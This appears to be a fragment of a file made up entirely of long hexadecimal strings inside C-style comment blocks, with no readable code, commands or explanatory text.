92a2afd8bb75048976a8c8afe765c6eb1a6c178e0d8aecc30d1607c946b68df495fe670c68e4c68fa8c21476598af1556e990e01f8f0dc8104d27bba95e32312e9ef1ea5c93a081a12a70c1eb3a832a04bf877f1c3108f4bc3fa361ae54ee23bfeca26db1cb683dbc2799989b13cc5edbad85d1488d225acb0d96bc14d371f233903050799db0ccefcd62b66ff70f12192cf83ea19e85d7ea36aa238f598625ed080a8a14299d05358958f58aa769d656214bc7a334bdbf2af7ccee86c11583e94a88475fd9f7fb5eba821e3c50d9d41d2c74f984f2b19679befe0b1bea0bd30f0648ef86c51260bdce63a91a5ba839e53fb048cc80eb91be314a656e9da88049bf17f31bd22a887b86a80b33d48897d8de253192042b5fc90524cf413fbcc00548d088434c5d138ae6f0585239c3086e0686d0bf81cd60b4fefda6aa815ddc7188ab88197896ec51f379362dbae2de3b8df1afc5174be15451bd7a229e41db5dab19dadd743314cc187d7bd38d0c48daccbb604c117c413bbdee87285fa5ca686319d77e69bdfe84f83b25f499fa5d22ce856ddc9950c3bc3fd0c1a7b0f0706ba0f171b9c1cf7c701c051cf7960d214141660a1af66ae7d878ce48c3be32aece5ba159382bd4ba78947174b93cd7b802be0bd302ea3f59ab1661958d27797cbf9eaf8a1152361799013bfdade910c6c004fb8f7dafc5551da47bfd701b715189d2bfd0702c1c648fe36767cba0b6fb5edf83a661b463499ee5e2e62ada64a67daf1845e5a272ce063d47c41e07979b59907ab50c4880e21eb02fa3673cd2de41acade13b6dd924e6fb0e77053b1b0849d986fb17926a5e8188db8b39010120c6522c0b0759a36eeb5376d5819567876e3278500cc56aad570a3328c64e108997b337622ba24db7afd391ac8029579bdf9e61e27f038d330032b2e9c2df73fd8cd1db317fca807ec69dd02eb6cdf4910b6f7acdb97d627116e3286b297a60a3c62ff1971d0e63a03ce13af692655927398a239ed10568e231a234607f7a105bdb9651062073b99709a079bd5a4020b5d436fa6334f8e50c15534fbfd0e49ea80ae029dd26a71f53de1401947a9b3bbd1a8d2ff7b61f702dccfd1e35d437df7c34cfd2b4afaf9b11bac2171073c7044aed06b71ec039edd07d78abbca0fd9e2464101d8a2bb6066a5411c892e1b7b18f50c765199149cbc0116bb0c9dfa156fbbe7e7e9495573a3ec0fa2426e6523db4dad912b7354af1d3cd44fd122039ade1b0cf187d25a469b7a71b181426e0313283d259bbfe634f1cc0b6b562a3035194efab3078f09092acfa616d63d6e72979af24b70446daed4dd9177da639fbdc3d8968b0c8d20dac9a7f51f13a870edae3a381826331af2a6c1fe466bb4bc10271a2f7803b5637b9cdacec40f165c12f43354db980663e5a0911addc94bc9943265d1d17be350b155bb9f748edc7ef39a7bc56e0b969ed2c214c19171214c8ff39818b7e3ce66608*/
/*a41da42a87dcedea4abd77f9aa52f9eaa1f9b53db01164432a2b942146c3f24aa5178b64b2756781f01039ddab705549a7455a108418b0fca795fb36a4fdecf6e6532ef2297bb6b40fc15bd96c3cc4e1af8292eba3134141d16d50aaab989e9faaf998d813a7a64d88793abde7cb0e495b7f0bbdfa511bbfe5dc0c9fc6e11a8f4eec1f095567332597f7daa9e5d5de7fb61e5ed84c941882090843eccec171bdd4d99993b46796126f5df123261e34f7ca60e27145f3a42cdb807aaf33ab79b1fbbc4df0b9dc51ab242017cd289c970ea64eb4dee7b9483121e9835a18af20dc39f6a76b24d921dc67462b0bb793e90d8b852d3777adb350444f4ac5a680f5113bd675db9b9ea8d1eed7120ae857d3e417e2d95872caa62d869c2f5cf36594ff94d69f9f356546cea8243e59c9a573fd7626f26bc4cdc55222f23ecb649f9348ec7d39839c2ab137dfa8f065629b7e59c85ef91f42e6ebb22841fbd45fb543790dfad486bf3d06c3010259f3ffa77e78560ba81cdf5800ab13ff7e11389d7f0aa8cf0d34bf36e196016f88b80b23aea310f1fd7ae5ce3c491d7d0fdf2fc5a53ffb853c936bb33ee860c2941a3412ca4e76e9682a5cdde27a1ef8a67e28b96e993803db062eeab0029b2e8a5f9249ae03a432cd0f84c0f0a4131f8a733f7b65c7db32f558d1fbbd6826c6b91b1b98562164743324b2aa05957539b3fab5cad5c6f5d8c7b680dee8b34a6566ddee621775a996df64cbe6e2a0e4ce0449777b86b7895743390b14120d2edf6a777771cc0b9ecd397daf77c8455899b1ba301ffc5cab3b9027602691f3f88216dc6732eaacb4f2d5aff5f029e066a4c68f309b60dd254624cc080a817d71b848d1111cb66de0a7c2dbc5d38f405495cef89e60f4e928e18ad62d93fbf958f4ce2446e2974c2eeef74709dfb4e47e5a3a05bef2287c6ffa8925a2ed7dc0c5421d00401e6267675afeae4f53e7c350cfcbae5a2069903f3ad572ecb9375eda28fa7937641f48b7cdf635e9cefb0eb8bd3f220a520b9515dfce3adebd0fcb68947a3adcc6fb4f4ffd27c28a3aa12058bdd14acc0647921f95c29359ef19580a36e6af474fe50e4c0938c23a789884a4863aa0066c9877d28eec9994ce01c73edeb08a2105543a24f43ae98c2d0c32c131c2d9584f4dda7e53be4c8c3249ab1808ddc43ac420a35a8588ca9dfdcf5640eee1be5275d543a9776f605ea8092dd865e95c51d9f9813b0c5b33257008df503ac401d24afedc4dbf9fc167b1bb22876449b5d45107e765c796778bba57e0a5977e64871d0989688cbf5f1ac4df1be3f56fd14425b74bbab9267af86a7126b312b7dd605e945ea49e2e235257b33142cc651e454e04d19b55c20d53dc9693b34c57c9460ca2cc154805adf0fee3232f845445bce07f63a18db73d657a5974d58b89c785131ed33a8f3cfa04f7e8727c382bfb1d6edf6142b22dc5ebd00c1cff8382e9b742706568cb480258fee459027aa7b3f7fd2322d605913b2135738cbb76ef0a83e289d10423433b473632052f0c94b26b795822a7e598bfc8a599be4ecc42cad0fd8538db2149e2f598698d3171b18d4a53e47f660a8a6ab8e7da31a1bf6c9e5e474f5df72c92392650b2d7ee52c8b9bac286fce3bcd99ed95c9fe1c98b1c9b67df95431e0759f57a886497424960d4e3f307d871786761e509d471dec25fe0072dfb88891e345d6d13f6e26763e7e774959b45d6cfc713596eadff3c62f3eac76579b82afcb830d5523e4e2fb7b256e0ed0f61f86b8e3ea306467a781f87e79c7b8ad6625083b628ebd756c95d0ac099a38ea481d174ff04ff7db3e466f7acbdbde08bb7877dede0a29899399592d4bc568392e94f3c2882b1a4076592904ebf18aa43a0f4326b080ca1480da4b18afd0d274e120871587eae4a6fd3dec733e60ec5deb37638f78442ff4a143196fb81e0ce1a724db2e68515207500b167d0add6ee6534ecc0bed595e872c78e3558a362f502b0ebd7cec845a07170bc6cacb71c84c0e55f3f2f76e950684f51ec98bfd995bd7d5ae0d84ce5c572673b4344b119989a4e3dd70c8ab80a5530edd2ee63a7e4cc3015d10f5a10b8428e6762f3e47fc29c531c671b087476700cec053629064eb2e41aa777345292c2b2d51b4d2474f1fc126708b017b43e397341d7a375a803fe454bbf8949c4a6f963d19ffa393fe08de46f0abc90057db007b0c9d0577157c0842bc9478351553bc1bb7810c0c0916fa5428169c72527615be4f28bde86dcf90a0ebdc3fe980f7f4097733d475b30552eedb535e28f561fa90257ec110a466987b59a887241643aba63481a3971eec10a5ccdbf53dbac8b45d1636268f411718f2e77cb24b9359325b1d40312572b802080a64d9a8d848229ac96975eaf6d275eb00cadaae125defbd89a65ccb4d6d29c169a3483c043ec9100520429b706d431a536d73873776c78c4a247834ec2028e17af2ea005c7b53bf6fb9e70c9e09510b93428f6e04908c0b1a5f4de9d20164699d23ed97a48ca8ebd2ebee0abad7d0905d8f46010922172d58502b19d4cb38dcbcfb80b7a909285481593c88d294d67a5712257fecbe5a245966798b713a079e0cc98c674ac08fb3a7039aa50eb736427a73e30b94afe7a87dcdaea1d5888b4f034d9027c9ba1d2c7551d03b3b006b533772a087f56c68e066db612fd3f2786a00afa4eadece88a5214fbe65427497101ce4df99421103ea5eef05a9c9787ac3cfe95af6e0466ed68856b704701ad115a3edfbac1621aa8f10f76d035c233d7ad4e060b6747d896288bc9259d5117*/
/*cc27e7540ae9fb0f7b60e2f17f57a6d58998694917cffb1bd85eae8da070a5596cfc1114982a398674d7104b151dbd769f2e1001a790c7d44468495a34c9baf609a0d11e2de2077d6fefce8cf8f34c80399a9f2624d0ec63e92e898cacb093683e4690a6fa0b1bb1e71f75a143b79aad6495bc6e8e3c3dc3306116498b5171057d1e5e7b531e0d0ae5d938df469061f290a7cdd35f0f2b15613f8dc5ae085a1775aa7fb97f00a37dee4e1f587e226d4dcaa12a7fbd0898f8218e6c35d855cfa4574920cebb55ebb1d32b60c5ee440ac6fba28797baff99cf4bcbd2184cd9378cbfc3c06d80ad3e0798d8d21da31b8675a1ee2c430875981cf76890736069a4b31f42c87ca2058956b5661a9dbee5bf913fe2ca5e82aa6bd086e2aa3c224c18000117a0241d46a839afdc33e20a9751514b838b9fba7e3d20877987ceca4e58b86a904f090f6a7ce9c37a41815487441cfbc63a8df496c43086d2ab80cde5fe601312829bb79ebdb04970a999dfc05e25d0cb2d8d1fb5f330aa5973293ecf0168512564c0308d9e719f32e565e561d18849eb30750ff8075aa3137681ecbfa18c604cd2893d007f8bf7e359044e6709825c139355091d46ab1a7ffb4805a5afbf65487665222c43f8ad515b04afc79a68b78a506e680e96fa7b3e51238fbf5f94e0da5c5a5c536cf4038e4f64889c1e237d1b9ed5d47cb3e68a1101948d63b2e307942ac1fbab199db2d2ccfa3535e8da94bbdcbea49bbb00fe0bc607aee89777e979e970a181d073733f06535932893dba6a55d94fb466249c3edc35c0f14c6a3d15f4eedb2aedb789f7ee6e2cbd8ad7b5667069b49bb6f76baffa06960dda357710f1dd8f4b7bbd78c84661fcbf2106633ddb5e77c59d5ab08c85156895d20acfcda08729c8e3b029beef1582e91d4e708d3dca1bac7e132880ae640e17b0b545cf2ed64bf26b5ab8a552eb10b04601734fe0b70cfe48db9dcee7758388ce1d08040fed03d06c7638a281fa7b1a1a23377d42c4e7e23589a83cf77606caf59688695658f6261e6da23e76d56ebce10ca228669b1a088cff380e7813d41119cdadbae731ae4d672d5292a9b23d427b0729ac153ad7e1fefe9264c61e343b85914390414964b0b90178f5dbea79c99a631643b7eeec601ce331787eeb739925cd96b8c8f76edc6279a6f6f8cd943056d69766724e581896a64bdfd7e39e06550f9c297b3e7f621ad61d7f782bd21a101603cf6936203d97cc46f7f5ff61bd5ff60626d2d38f275ebda92be943a070c46823754e6eb03d0f1ced4cabd55de5a020fc9b41869a72b1f5388f4c52073147b800e5246926729e9dd766ec138ec56fdb2ab84a0b27ae2a5ac28186fbad04284e0806082c6323ad30bf085ea541819900d8b1d8851b54e89e5b769b2a1c2cb6340a986651d7b667c7c112cd84031556ac54cb676e63745ae18f8080f502c5779703ac119bbd4322798fcae8c4d81d3fcba1d7366f29e959b320ae45157a6294962509877d4e36a021e97536a450bd6ce2f21da32f2c287334fd68d4b2e154492e94a2da46d39df23e040f136d710e8bdbd76052bbf5ce6c94012e0d585040d17ab4ecebc0812c525bb0ceb1028a3e2397a6cac26df3b3e524d566161def8720e3d87f47c5d011d046cab68dcfb8bf685433bfd3d951e216dce1688563e79ad7bfa683f387f826e76942bfb92c46edc746f79279283b546ab185901c0389173f5175c63aea58b63824cfddf3e3cf8fb39e8022087c8c9dbc000a59d9494645619e6f5a0f4133322a479e2b023746b9800d6d5959192ecc3083f9188db4158965609d23b8f5e912ad8832f6c2e7fb7700dd56f4dab9ef3d40739a2ee2cb098ad1d3dfef2dda21759de77accb8a6bc833b4cb71bb78e2a4c6caa8de1aa4f2efc37aa9c3e49eeace1c6df031d45947b830fa3843d4aff2f1a790003b051b866594b1c8551700d1f2bc8cf4ad83651b316d40fe92715dd91e546eab1a946a8986afe3095d6acccd88cc216c5736ff8d50cba33a35b4f1dccef4eefa962d9fb0f2e8c7c1933798cca9ce3681bc0be840db153422b221eea17147ce457bc77711c115224d9350a48bb0d4a0a45ca5754565d2f4debdd862238338764941604dee8161ea7a2d86491dd632dbbb7b70bbd79d41c46690794a739de33d4a1ff976f71f70dea44a904139f7f3f8806aea88166034a8203509e11df7e19a0505b36ff4778d479fbc42fed2347a31f4243830397a4231903220dab50063cd1f5c8c96d4dc3c3d9792c15e70a965c581d70f65891e389f34aa2675e44bf57a26fefda81447dc3808532c432fd14e1b5394f2ee3f92d8a283eeef13ee96d0ee24b84a89d5b3ed96442f3854122203079aafa6ef48fece1c4ac243a1c3b574e401fbf01868ff0cc8dd5f3ca34ac62b88fa849225119bcc58d8c4c63ab7a3007ed08342f3d79586dcc45919f26f4e98a7594376119f7410fd4f3a2bb9086ffe1cf373d4ea7cd54017c95d2a4b13baef6e5f4611305ad1512fd5265225f0127011ee145a4e30eee1c23bfe443ccc14e3c4c5ca15b08f6b031aadf3254ac46f8862edc1f1478cbd32ec11cd75ae3b10d90a3d06fbc66466b5e45327c3695e38d8b7d863a49aa2001105b9ee7b10460441167c54686c8269f22dcc0ed282d2d4d42d68c7de6e61c280fae5f20b4f376408bd618651ae3a3f823b98e714836c83ce1a4cf5b7312b11392c74bc4246c2248b117e2cd0fce2358928a4ed484c2f3ed5c3416a5cb4957a546736d82d6334185159c023608fd9bb60527e79ffbecda9cd1aa0a0c74aaab2fe6b7*/
/*223d6456a5d0c99c7dbad84e322b6ff22cdd7bba69abfbed20e1aed444ef782145cc181a14e317e708dadc85529d847bf2b0cf2cf5b45a8533cbed6f375453612624ebe74f436b09e6053ef43d182333bf779643f5c6f797dc3f654e5b1b8882e95a12dd8e903eababc8805435701cc0db60a5be349a4cfdf9d6155fcfca0e669cf6c15d6b74582bc4c2ef654299a59218c7ba49a65d43615dfdbce1a4c46d07b3d2b01a26e3b8d7a5621e3e61835e03e453ed3c4f15b275274b1fc994788bf093a1ad9f53657331b55961189b4ee26cadb74b34ac73c57c347c2dc36ee0d3fea1458d03b75c1edf43a72f4fcdfbe474ddd3abe7fd0e62689c495eccf89e997b351d96cfc5fdabd53b78e5a90d8ceca98385d84de72cec4b1b1091e7b620e3a3366f8e058f5ba132477845417d1e369f7021677e8136a13caa6c8326d53eac3da4f451728c5d891b3b6c47318e8d15de7314b12711a60928954278d127ece6a038f74adcd9d33b95c2004c0fb0aa6d341ee25bc016aa8ec141de1f1ec0bdda98078aa83623943bc4f9021b3e9fe481c5b48b5929c84cecaf4564607c38d600f356dddfdd940aebaea9e999471eabd925485fe5bea5afea9ebd9d61144b5f7cb3e6ede1ed053ceb9903f179d610cdb21f986fa0f14f046958b1ff80b3752a0f5d8f76ed774e592cb80ae98b0f6a9e6855a355cfa2914ef81a9d76eaa1ba4745a7ceb2782e5e80532233db9222032252f3189c1e993ba922f98c67364637cb2e1112c2a40d93536ca0e333f76356e624dd1874781a082fd03b4809e4b25147cc9017d06e3e8eb23459a49bf94e1ed6a6f33dbc051149cea184f47835b1b1c9e819d9f70846449ea3964eb97ddb19eb1bbebfecd0d34b6bbdc4d3b3f32cc8ca29931845a724d5b973829a87144f3866d05e1a62bb374619bc9688673e7b51bc7b5082a808428e583687f74bdd840c5518f968a2c1edfb4ab76331f9db749c9a8cba9408e75b63e98d09fd2f023319b04417a2688a09ba5c4aea3df3727bbf9ac8c716ca77288e1fb60d93a21459328a7d6856ab56cecb402d148210cd09f9b2d09f44abc27f864d3eed88beba49f8458359bfde2686b03e2719f0680f9d93df2c52e8982a57e5580e7bbae9f965247453e157d0e579eb25cd8bfbecb7f011362fd0d32f67cb3dbf473f149f7b83ce29c0dd15d7a2efb51d0cac56633a417a2707f700550b9b18bd1b553b7562a65525aa6cd18178b63aa38c6e1e9fe71a5112f613c43423e784250920f5ab40fd9e67ca6244746152013baff08a5530e5136cace689837c3481461878c7aef1bb4cb66bc1dfc330cadf3d48550e1af3d29fd97137c62f63069f780cd01d0ad8d3d450872059a0e882fee71ade23f5ff29f60a502dae686a23d3961fbfda0aa3381835b4e7b758a4ddd301c431002a1e463b38f32b54437ced2eabbdf47f941ef042bb0eb3f61dbc2115e4ad7106540d94ac1c120bbdc61ab347186f72744fa22e30c912f04fe7934801375f9a61601dd03e58bbc8197b05214718b4d8f9d970cb653caca47624893456493a981d0f799127418497d9f7bd661add3c5f5e201eb540ad1eec9ebdbb8d7e7aeab8f55c2f364338009ed9d212476cef6fba2a4ae74dabd2742086798745617d9b55fe988b8601bc799791de02a7377a5a724f18ffa038189e8e9b3240a9ccb7a2237686e14037e85b56feec0fbe787bea90412e5842076ec628f39efe45008c52ac9fea6a7ee9d3b81187323b5dfe0683694daafa4ea6a00af4e2cc78486bcde678e30487fa90a5b1736f96baaeb8b1fb737d42f94232277f719554a30fb9397f551162ccdb0865acd3844fbd0e089a4f2d8a2121fd01121af9d4689c0e9d2ed35ec0ab953a8bcb59f45c49aceb53b01a0769a721125a1d726845298a4a2537e0f318d5b2e38a68d055ecbde9fe21ada4096873e5bf780dcaf82b4f545ff6fe5e7fb45eac7143436811b6ebb9b7c3c3472e473c656216d20161b083d26c3a5f4064cc64e26e3780c99465c5f3798b5f27088ca34bed72c668283907413aac3021f18994eac2182c7dd9429fe4ca2fdd9b479d224a3bf9d9a23a4dae111fc5e7d7330031962246fbd8bb65997b39000875677a4fd56f5514a518d2122481fe6a78c4b32ffd9c68c3b5fc30cf3d5079413aa37463c25b059c3b0532c4d8db7e62a48e8114c96e9d2b4376df4a92eb4fb712c5948b6b5019240ee89e2e5470916ae1875793d1de6a3e56739645d8ef8dbb42f4060da615fe5251cccdf290fd39dcbc771a88f057fd188e845f1810a5d1a3c8f8c2c16bf5403ce3eed82f0603a81a51498adedf1c601b86bd90e4d51948ff054afc252bb56e2a94791c023ee0ef3905390f6c2b9507761986cfaf4be5cae630e2a227858ebbae5c19c99b42e5a119d1419e4aa9e748854f5c83942e0e587875ee5bc4370fa7316983e60a810da854e040fbe8590d537899570558d1bccecb7b49ab48db45e05332bcedc42ac778e82ced0addbbde7d07955fb589e8b563c82a3e041efe696299e0ed03b4a94d80f3705a37cd7defc3ac79f600907e3765e12ddad0e97be26553a4a68112ea4c4cff969f738c90076ea7e74a08ec599a6ad31a70ede01b19b1906c0b7fd41c873dc8313626fc3813a1a2d82e13403c04fec5d499b93f02f01a4e32620eafc8f3cc5f2060b1e1f8e56d5f85f78c6a42cf88cb8a1edcb05568d30896b0e51cebb82b3fc7dfeb778db363f1e1fc0377fa9f0b3662399be21ba96cbfa95fe4c706f4a084b139ce70d2b050098490cfd2ee87c091ae79e660ede97319a999*/
/*e1c5c9672cbba9138fa987f61f8f4b96b8e14649deeb4457d6303ea2b4cb269910aeb85a8765da511d407975bb96baf754fd382ecf909fecdb323bb8d89cd7ae8348dba4521e3bc01838a8300519f3ea0acc6b4369e1bf4c0a1a2429d22db4f17fdec80cf1cf6e2dc2f2397b9aed23ea826e78361e8fa5e7f753508e2a3d39fa5fcf2ddeb1180084f26d5e94f02533a2d396857dda87d829a93553922abe747f11cf5fc90e219112c275b69e0ab33e1b7d017395b7fed697ec90366544296062a5b66566dec95f741ccc067b2d14ee68c2e85c23cb5a97fd0ba617615212a5f302e4dc2e85607a1391b17f50e47715781448f1486c94e01637b9fc644d3f3fa22d94b8340006243908283c94901af473a905623674da003165dc3a5fd8a848c0748baad031f1cfc46d3218698ddb815c973b64250c05f208c8d3eef4f31963b3c3236ff7378497bb31e8619a0a293a59e12083d62dd6a08f6449477593d5466e3b881c043feb41caacc2828073190a633f4125ecb339f896cf31b43de31518d6f8488be207c48c86154647b3224a11c1ecc25ab552c2a54efa633c9a5b7fde51890ea80017edde0126c866c74af85595874268c24760b63d4744f2ad89bc76d05c0da03e11bda7dc8b17cd5738c02890435bfee458d82fb4a8b7abef2b4c2a2e347f38e617a0734113f1a4fe00a4553fc646dd89bcca5b05265949a3c2ca5b3512b367da8dcb670ddc8cd2af2573c7f46050e66925b0599fe42ad8e018e34fec67406b637afc0152af28d0718ac6ca9380470ab7f37989f6e32cbbf5f867684555ddc102f7baf7117c45ee7d41ad38fa58e61a0a9e3ece4b829c486254ee57ea5ed89951ac5bf0ff51998fab7c44051ea7aeb0a157a032d7f8103ccd6d85b846bcd46f2d6905377e7ed4f2f7649221323ba662a822175d9b7f46418f566c577dd312eafbcf1874abcd85b551aad2e8a010a93774e60ed74ca7cdcabfbae384a8e7cea6a965622887b4d8fc1448170740e2baf60a3c127a358ff2834fd0c1babdadefe63b0c5635d5627541f7873307f3118efb95c868e9eaa80d53ab70de80c97cc7dfb13237f2f0f2dba1c9cd2cbdb54550b74588789dfe8f40f2854cd3530ad9c8d1cc0c038898317265356d671a0c3236f648cc00c161557548cf1f9881a7af8650b4b531ac359ef17c6f80a9c5d4fe67d3a4e59ca18d2a597072d3351abb8e48848dd1f4baed27587e05924ccd17d884cddad86ccb2068da7861d4ea187b2e331ec9aed70f4bd0c225092d41405f6dadacc5bfba5efc2d2e3c1c02c3d8793d2d62af0ff6333af33ffe320e15766bcca7dc7bc00a9ff2efa39d483ea7f0c2c7e30fc9cad960bb2ff7936db59027f432de8d1b78275435def572d7150eee32ad379fbd31fba66bdceffed616c5b5c30cdefdaea16566081c3aa456b80cf8ca2d0e0497b9016d710933d933620d3b6ef3a70aeaa7544389b202b21dbb448ee12e931017de5818a2c205d2e98c089f8558bc46d8a4066e164d9258eef62676185c54da4ced25f77d3d0fcbbc7ceac84435f4dc1f9e8e1776217bf2853e887a766ee85a055fb21b3ada6f105c3f66df9098f8306a5bdb1a607689080fa0ca9e21dbcca217dadaa6c860460ed346011e72cc4c25268ef08978f9daa81ab7313a9223cf5d8e20f91443e7a65ffb3fce3033d079ae64a8da3568ab3f8c5778a6704e2f0a91e9ba17db3a30dc03b3ccba7257424146a34ad60167a8dbb8a2b2c2c489a3261025118a43e28746bd8f95122c7f83f17754272d3d0120612bb5c6688bb74dd14727bbee2385648a2c31187e70b9f702b30a11a96bb5b7232ae2218f56bd5d281075e42afd5389e7a5f6d237ee21e760d86f2d21b07f6b8208f7b830f9f80d3c2aacf0bdc35c22144e8d0711c21c1a9e16f57d65638b767d98ddfa40d14a23ec1a20ad980d421168849e203e0645d7b2cc5106592f09c947a635050e8606876be9db8f25481ab5a083fba9a4bdff2178aea56e54cdce93ea0579ddbecb1fedbf8e5a928ecf81bfb46ca11e806d9cca3f54dcec473d5454b21d7e90b5d7683b7aa2069ae2bc93e0b985ae48afbf0e372876d79ecc1f1a34977acf62ceb0525108b4fa8657bed8ddd48356ab313e60c46654f667e4d67b7456cae1a4b14d4775e05551a88b9d2416140174cefc247cb585c4b312c1f79c20d7f9a6f11cad6091ef6c4ab532ee887c78029bdc9c2dbb3c76f8243a51e025e6e0bce3db8e25e9d63710a959d028db9ba25d8fa566f5d12fe1d8467fb89d65616a1d3732edd7ce091f68a7eeb152ea18e3b5522776a3e43519d81446eaed3c68ff441d9107f0b6bbc471e092fb2f6a9f705d13d165accbcac9ed40525827845baee74b24a60174a0bc8a8c90eb8a9cb34adb20f8747ef4d1a292c542505823cc81fed094348bd66c72ed673ebb5df045db3026a70818d3ec667769bccbe4ade1dfc97027ac5b154b5261ba05c44532033a28419c5d5473fc247db9eeaca1cb5a4147c7e2fc217f1794c1c09724543066af2e4ca9b8a0b6a9282f4ed6e3c7635f7678fc86f6f9a9199e058b1eac04ef3d2ce2ae750ead2d9fac56d6c0924999dfeade9805c1f4517bc6f7081bceb380ac18e54a08544bf19a7e2d5d02f7771466d246d3b7be34c1f820c2aacd18e7df784aab3e2cbbe6e4d458b2217e5f7e065f36d8572cbe40f38fa49d452a254fd0628d1e6c5748c6d28ce5164683c5266788b94cfbf2274abd3075bef9918458f52cb0229d70ce8ae02d9b9cb696092f2e50d90ab89842c977452027dbe38e627c5b3ee391f8c61ece*/
/*44efdf72e98a3338ee6b77b6106da13390c09b56a381877fe80580abfcaff23882c4d9aca95692079480cc0fbb82b18ca9f227c81addda5d08a0a3369aa36dc80a319a5db35d320e9f7fb167b27e12a5876f390b5817bd804075a3e1a8ce01c64bd2082f55bdf09f8f9dd5661d5ca5a771b2560f58dee7a1aaca090e3fad162ba43640248eb98d7687ad6f101dd94892f6ceae5fd358f31bfdc7bc9cae3caa59855f303fe1cd0ea3c55688c1a361ef7db4a445c3bb33d62150d1c67f03f605e6eb7c1f2249b41436bc18538b7e6a454165dece7649294ae6d04b8e978846576008c955226eec7cdc432d3d5db373ad212f15b91de0c1298ea0b84dbee2279b251ddaf1a49fdcd9982c13664cc9d1a7652841c1ddc8a20a0ee55db041ca9dd975203dcfac0295e4de3c617e2a61342036673a1dda3345903b629538473bd0b755c339e3d0648a9ec1fa43ca828531ba0906f7aafe52f2f1c4f2b7682eecebc306295af7d0fb6776cf114124f44d7de9a4f92e76ad1874dfd2952637cf47c14cbe3c5de26e5b97c278047c9e2bb86198d75328e9488724791c793fe9c1ebde0ad704915d14de6c4709b124be6fcacd579398d7ed82cb3a3a55dcfbd3df946fdec6ccce9650f0c2040bc77ddcf0f65680bbe711cf2def1df71b4d5f27b2d9c8fa0374d35d9c98b2fe2547d34deadde955fbb40258e84fac8b9c157dd0d567cdacdc696af0e8311567747636822eafdc80c76cda6e8a6652d76f701ac8566300fbaf95df1b5618fe4e92387aaf44404a681d21e94f71c7173ccef897c840a120e085cb5f961c459ddeb4912175bbf4be9f6609d84489656620a200e329b8d4ca9377d2bdeb10c5b9a4413b1cae302371559c1c9897ed5553e42e5ec48b3428b1dabb12b046b77f4ea29db01b4503f16df3f980acadebffe4e67241809904d71df69e120c4171b07b23758b75753b69b4e44abccdfd2428bca77a9a6ebf637e1565a014b9d891e991f605e0b2cc5a38559be5fb5a3068fbf00b4ebc77348f0fea0d034a747a89a64f9195196a7d41b7b25de75dde118981d67d05d5cdc5f8ab5c01e812bb6b24185719c9e1f13eac2f3e4b36aa6d7b86467dfe3263e11e9b20092eb2ac41db7ad9b04f890853fa9092aacd98c3ac246126f47beb659f06fde12cafdd4b0094175288c12bd5cd034b038cef88286705360159996dab08bddfbdfcaeab5bd8d97f053577c162dac824eebcc603666686f27d97d473d0b7cade508021fbe926c7b71bbd06e98701b1087b6b10f7964420cfc84adfba4e80a776db09d1b51b133a2bc28f4e5c3eaf7ba8b18ad5fee0823b0d052f5b16e591da9e1a3e33b5f6c977e02151ed3282bbd8e1a15fdf8bf7cf02f32b0311e9f6b6c6c7652c5d2563541f3bb24a8c03276d0a8e2a4ec541fbe4bcda9801de6af80b7f8f3f2dd3e8526b7661a48fee9dcd42b9f46838a9f971fb5e8f4d0106b689c41f363db4ce5c6a293b3b23169c1aa4d77b4988e86436a7e4a2e7b9bda82888e6f6b8efdd47f02cf112e3356a218f017f0919a09b665bd0acc8a488fd43bdbf706d59c1d4b783af5518d42fc3de2bdcd966e093443213ace3c4cbf767dc014c36c86e5c5efd0251cc0d9b80d0a7dfd8c5d65cef74b14d94c44de9bd91c624d59043647c0637ec6744b5f0c4999edda8df48279b1e3ac756fd3e35d4a987f42b1ee1ea94d6ce66f4c9d885e57031adaf34e5cc1d6e261ee016a4a8f481b5426439920985d31b1ec9b1b4a25e5b03bd6eae4eea95eca1645e8c9c291d716521f715bd94b0de6e2405193cfa2cfdd9cc35522516c07e1c88292c0728e608c2d8266ef579c24069a79094cc4a7f3a33e9640e0beabf66340092ca5167fb56d82fb03002a419dd6539eaa98c4918069e07b6579e5ddceea25392d09a45b8a3c3d6af91b7e534265bdaa4666e691ef1bdbd9615072351f24283f73d4155105a1d499ce7e805015e673b2887a65fc10886a986e5da057ecbe54eebf5a7e0419ae3b80722a7c2acde82b5ccbe76e25029e717ed096a7bd3d8332fda75c642a751ef5346d1f13ed8d59394a27b4bb0d577fea6654e7070b673df306d0c90ab3d7344080d1157a163cf7be0a2477d2e3df97b5cf76948511e34ee9b3b0a15142ae50a45068f3ffc9c485b01fa51a6f08d31713cc48967e103b0849fe9cb2c91321463d232ab31fddc938b55a0e4a3863f49c97e3cc8363a2880c5cb2c9af6f4012c9c7dac374cb9b49af8a4751ffa9ca56516c5bac03e6e308781a0b2a3a396797059267b21a68c1f981fa7f79b82e757d5d61c7fa40d48b9efe5a4a2d4b0bc3db13688d3700f6c26f125e71b3c43151e46179e21c0962860ffe217291a01705826dbf10bf24ca1fcf8febf76455c16dbe3ba42552f455eff6588224d42945e045227485a51907c4c3578a33bcde4268df4074ff2ad3198f0695f5451a2accf32b70de9700fe76b348caffc16ce3d9f95fbe08e10aa6362918c251995a782ef7e73ec0785209f46bf3f20530f8ee1666d59ad7effa618872155a3c1a3c2f022b4ae0a827f3f6787cdaa1febaa293bef20c6c0a5e4d7ac24cbc5c4ed46578e932cd2f1067ce86aa5631d3283afee5a28593bed66cc61828c9d7b5c8a583cce152ea2c7f5ad4e2e1ce39918805c3a2bac9d077e9be603a20302872a50ca2ad708c916c7b4825a84d3c9c31c6aa85c1fea5ece6afbaec4461b29b42d7e00cde4afc860a5cdbab15297e4ee48a8711b0091c072ef5130b7a4f47f05d2fb35377d63e2c8b52e5382c52ed19adc0746afc605cb3b5a2131ae1267dd12d3d9*/
/*82f994abc156ee1ff41910135d51ccf6455c42ad6ec9ac978328b276326350e694e02df1ad13529df9ac7e62893d00697dd1ae379bb08fd0e63339d0fef9f1b9bad861d5af96e758efcdcac64e093dd8c3cf2097a4c21c8193908f285fa5958f48374d219a9529de2c70a45d465c8969d91dcd0ddce8b89a4d25d9e5b548e2e497343de6b0e1ecb82049e45b9892f87afc6b4c978ecf606709e4a5343ccd55e40fc0d97f42b852dae048e924752d7a67964f07d1e84c8799fdce4dbcd9ac6dfe9673cd44f26cbc586ee9025cb59445924382dbd3ad979bccb0dad94dfc7683f0b63bc7b641766f2f85e2eda70c09a7fa4f65fcd10597b3348a8aa7f71252705a42409bbc714d9d9ba5da8c0684e45797ba3e9b65c121944513385062ab9a1795f7141a6d45bd8ae902afe23c41f568333918fa52e85a8c4260ac69b7168dd87d9cad0169cba918451280ebd7f63559c55c4785f4c5c97ceaee4aa25f5142ef9b38d2a29c252d4a294cd2fdcce0134aa51702bfa28aa744c4f5df95df5efc707